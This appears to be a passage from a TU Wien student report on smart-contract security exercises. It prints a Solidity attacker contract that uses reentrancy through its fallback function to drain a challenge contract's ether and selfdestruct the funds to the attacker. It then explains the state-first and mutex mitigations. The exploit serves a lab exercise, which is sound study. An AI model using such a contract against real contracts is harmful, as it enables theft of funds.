

TU Wien

We can then send this call data to the contract (via the geth console):


```

11
12     constructor (address _challengeAddress) {
13         owner = msg.sender;
14         challengeAddress = _challengeAddress;
15     }
16
17     function pwn() public {
18         (bool success, ) = challengeAddress.call(
19             abi.encodeWithSignature("withdraw(address,uint256)", address(this), 1 ether)
20         );
21
22         if (!success) revert();
23     }
24
25     function withdraw() external onlyOwner {
26         selfdestruct(payable(owner));
27     }
28
29     fallback() external payable {
30         if (challengeAddress.balance >= 1 ether) pwn();
31     }
32 }

```

An attacker can manually call the contract's `pwn` function and execute the exploit. The malicious contract has successfully siphoned off EDao's balance. Finally, the attacker calls the `withdraw` function of the malicious contract and the balance is transferred to the attacker.

Mitigating reentrancy attacks is commonly done through two means. Either the contract performs changes to its state *before* executing the call or functions which perform calls to external addresses are wrapped in a modifier with mutex-like functionality. In the former approach a malicious contract will not be able to execute the call to its own `fallback` function an additional time because the balance checks fail. In the latter approach a boolean variable is set to `true` when the function is executing the first time. Before the function can be executed a second time, the contract checks whether the variable is set to `true`. If it is, the transaction is aborted.

Exercise C: Fail Dice

Exercise D: Not A Wallet

Work distribution

Tobias Eidelpes Report for Bad Parity and DAO Down.